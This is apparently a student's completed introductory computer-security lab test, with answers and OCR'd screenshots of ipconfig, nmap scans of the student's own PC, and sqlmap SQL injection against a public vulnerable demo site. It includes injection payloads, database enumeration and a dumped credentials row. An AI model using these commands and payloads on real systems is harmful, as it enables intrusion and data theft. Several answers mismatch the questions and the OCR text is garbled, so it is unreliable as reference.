


LAB TEST (50 Marks) : ITT320 Introduction to Computer SecurityGroup : JCDCS1104D_____ Note: You can screenshot some of the result and submit along with this question.
Name :   AMEEN AKEEF BIN MOHD ARIFF________   ID: 2022606008_______________

[bookmark: _GoBack]Answer the following questions by examining the following captured information using the command prompt in Windows utilities

QUESTION 1 (Windows Client Configuration / Information Gathering)
a) Open the Windows Command Prompt and view the network card configuration using the correct Command to get the below answers. Draw the output list by screenshotting the result and answer the below questions. 
(10 Marks)
i. What is your IP address?
ii. What is your subnet number?
iii. What is your default gateway?
iv. What is the physical address of your computer?
v. What is your domain name system address?

	i. IP address : 192.168.0.119
ii. Subnet number : 255.255.255.0
iii. Default gateway : 192.168.0.1
iv. Physical address : 7C-B0-C2-49-1C-13
v. Domain name : http://testphp.vulnweb.com/
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b) Change the IP address of your Windows OS to 192.168.YY.XX. Maintain the existing subnet number in YY and change the XX to any other IP. Observe the new change using the correct Command, and screenshot the reflected IP address. 
(2 Marks)
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QUESTION 2 (NMAP IP Scanning in Windows) 
Please ensure you have the latest version of Nmap installed on your PC. Connect your PC to UiTM WiFi. Open your PC’s command line and do the following assessment. Please do not scan any website outside the UiTM Network.
a) You are finding the number of connected systems in your Network and other network info by answering the following questions.
i. What is the Nmap command to find the total number of connected systems in our Network? 
(2 Marks)
ii. How many hosts do you find in your Network by using the above 2(a) commands? 
(2 Marks)
iii. How long did the scan take?
(2 Marks)
	i. Nmap -sn “192.168.0.119”
ii. 1 host up
iii. 0.12 seconds
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b) TCP / UDP Open Ports scanning (For your PC only)
a) What is the Nmap command to look at the TCP and UDP connections?
(2 Marks)
b) What are the TCP Ports open from the scanning?
(2 Marks)
c) What are the UDP Ports open from the scanning? 
(2 Marks)
      Attach the screenshot of your result.
 
	i. nmap -sV -p 1-1000 “192.168.0.119”
ii. TCP:
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c) NMAP Stealth Scan (For your PC only)
a) What is the Nmap command to scan in depts to find the services and open ports?
(2 Marks)
b) How many ports did it find?
(2 Marks)
Attach the screenshot of your result.
	i. Nmap -sV -p 1-1000 “ip address”
ii. 5 open ports
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d) OS Fingerprint (For your own PC only)
a) What is the Nmap command to find the operating system types used by the target system?
(2 Marks)
b) What was the guess made by Nmap? Was it correct?
(2 Marks)

	A) Nmap -O “192.168.0.119”



















Attach the screenshot of your result.


QUESTION 3 (Gaining Access / Exploitation of Web Application)

A web application runs on one of the PC in this lab environment. The web application system, MiHerbs, holds information on Malaysian Indigenous Herbs. It consists of a web administrator view and front end user view. The administrator can log in as an administrator to manage the website, such as inserting new user roles, adding new herbs data, updating and deleting herbs data, and performing other web admin tasks. The end user can search the information regarding the herbs using the search facility. However, the web application has not yet been assessed for its threats assessment, security, and vulnerabilities level. As a penetration tester, you are required to perform a Vulnerability Assessment and Penetration Testing (VAPT) on the web application. 

Based on your VAPT activity, answer the following questions.
a) Perform a Vulnerability assessment of the web application by using Vega Web Scanner and list all vulnerabilities available on the web applications based on the severity level.
(6 Marks)
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b) Based on the web application vulnerability in (a), conduct a database exploitation on the miherbs to gain sensitive information. 
i. What is database name do you find that related to miherbs?
ii. How many tables are available in the miherbs database?
iii. What is the table name that relates to user details?
(6 Marks)
	i. Database : acuart and information_schema
ii. 8 tables
iii. Tables name:
-Artist
-carts
-Categ
-featured
-guestbook
-pictures
-products
-users
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c) List all usernames and passwords of the administrator for the miherbs application.
(6 Marks)
	Username : test
Password : test
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END OF QUESTION
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C:\Users\ameen>ipconfig/all




image2.png
Wireless LAN adapter Wi-Fi:

Connection-specific DNS Suffix . :
Description . . . . . . . . ... : Intel(R) Dual Band Wireless-AC 7265

Physical Address. . . . . . . .. : 7C-B0-C2-49-1C-13
DHCP Enabled. . . . . . . . ... :Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::b548:38f1:389:5d86%11(Preferred)
IPvA Address. . . . . . . . ... : 192.168.0.119(Preferred)
Subnet Mask . . . . . . . . ... : 255.255.255.0
Lease Obtained. . . . . . . ... : Tuesday, June 11, 2024 2:15:20 PM
Lease Expires . . . . . . . ... : Tuesday, June 11, 2024 4:15:23 PN
Default Gateway . . . . . . . . . : 192.168.0.1
DHCP Server . . . . . . . . .. .:192.168.0.1
DHCPv6 IAID . . . . . . . . . . . : 108835010
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-2B-2A-FD-E8-38-D5-47-8B-B3-AD
DNS Servers . . . . . . . . ...:192.168.0.1

192.168.0.1

NetBIOS over Tcpip. . . . . . . . : Enabled
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Signal Quality:

Wireless Properties
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@ wi-Fi Properties

& intel(R) Dual Band Wireless-AC 7265

Configure...
‘This connection uses the following tems:

B Client for Microsoft Networks
¥l B Fie and Printer Sharing for Microsoft Networks.
¥ % VirualBox NDIS6 Bridged Networking Driver
¥ % Npcap Packet Driver (NPCAP)
¥ %9005 Packet Scheduler
& Intemet Protocol Version 4 (TCP/IPv4)
[ s Microsoft Network Adapter Mutiplexor Protocol

Install... Uninstall Propetties

Description
Alows your computer to access resources on a Microsoft
network.
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Internet Protocol Version 4 (TCP/IPv4) Properties
General

You can get IP settings assigned automatically if your network supports
this capabilty. Otherwise, you need to ask your network administrator
for the appropriate IP settings.

(O Obtain an IP address automatically

(© Use the following IP address:

P addes: (2.5 . 2|
—
Defaut gatenay: (#2180 1]

Obtain DNS server address automatically
(© Use the following DNS server addresses:

R e
Atemate DN server: . . . ]

(O Validate settings upon exit
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IPv4 Address. . . . . . . . . . . : 192.168.56.2(Preferred)
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(ilak23® kali)-[~]
’js nmap -sn "192.168.0.119"
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-11 03:06 EDT
Nmap scan report for 192.168.0.119
Host is up (0.050s latency).
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
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E(ilakz:@ kali)-[~]

$ nmap -sV -p 1-1000 "192.168.0.119"

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-11 02:39 EDT

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify va
1id servers with --dns-servers

Nmap scan report for 192.168.0.119

Host is up (0.0042s latency)

Not shown: 995 filtered tcp ports (no-response)

PORT  STATE SERVICE VERSTON
80/tcp open http Apache httpd 2.4.58 ((Win64) OpenssL/3.1.3 PHP/8.2.12)
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn

443/tcp open ssl/http Apache httpd 2.4.58 ((Win64) OpenssL/3.1.3 PHP/8.2.12)

445/tcp open microsoft-ds?
Service Info: 0S: Windows; CPE: cp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 17.38 seconds
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[09:34:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0

back-end DBMS: MySQL >= 5.6
[09:34:50] [1NFO] fetching database names

available databases [2]:
[+] acuart
[*] information_schema

[09:34:59] [INFO] fetched data logged to text files under '/home/ilak23/.local/share/sqlmap/output/testphp.vulnweb.co
ke

[*] ending @ 09:34:59 /2024-06-10/
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(ilak23® kali)-[~]
L6 squnap -u http://testphp.vulnweb. con/Listproducts . phprcat=1 ~-dbs

- If1
|

TIlv.

{1.8.24stable}

_|  https://sqlmap.ors

[1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end us
er's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not
responsible for any misuse or damage caused by this program

[+] starting @ 09:34:58 /2024-06-10/
[09:34:58] [INFO] resuming back-end DBMS ‘mysql

[09:34:58] [INFO] testing connection to the target URL
sqlnap resumed the following injection point(s) from stored session:

Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7926=7926

Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x7170706271, (SELECT (ELT(3542=3542,1))),0x716a787671),3542)

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
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[09:36:19] [INFO] the back-end DBMS is MySQL
ueb server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.6
[os 19] [1nFO] fetching tables for database: 'acuart’
Database: acuart
[8 tables]
= ©
| artists
| carts |
| categ |
| featured
| guestbook |
|
|
|

&

pictures
products

users

6:19] [INFO] fetched data logged to text files under '/home/ilak23/.local/share/sqlmap/output/testphp.vulnweb.co

[*] ending @ ©9:36:19 /2024-06-10/
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Table: users

(L eniryd
Tcc i an 1 pass | email Uphone 1 uname | name
asoress |

T3 1 eenzacafa7ioesessfordcassioassss | test | 4f(nowC)-sysdate(), steep(15),0) | 9656786645 | test | zuraamas |





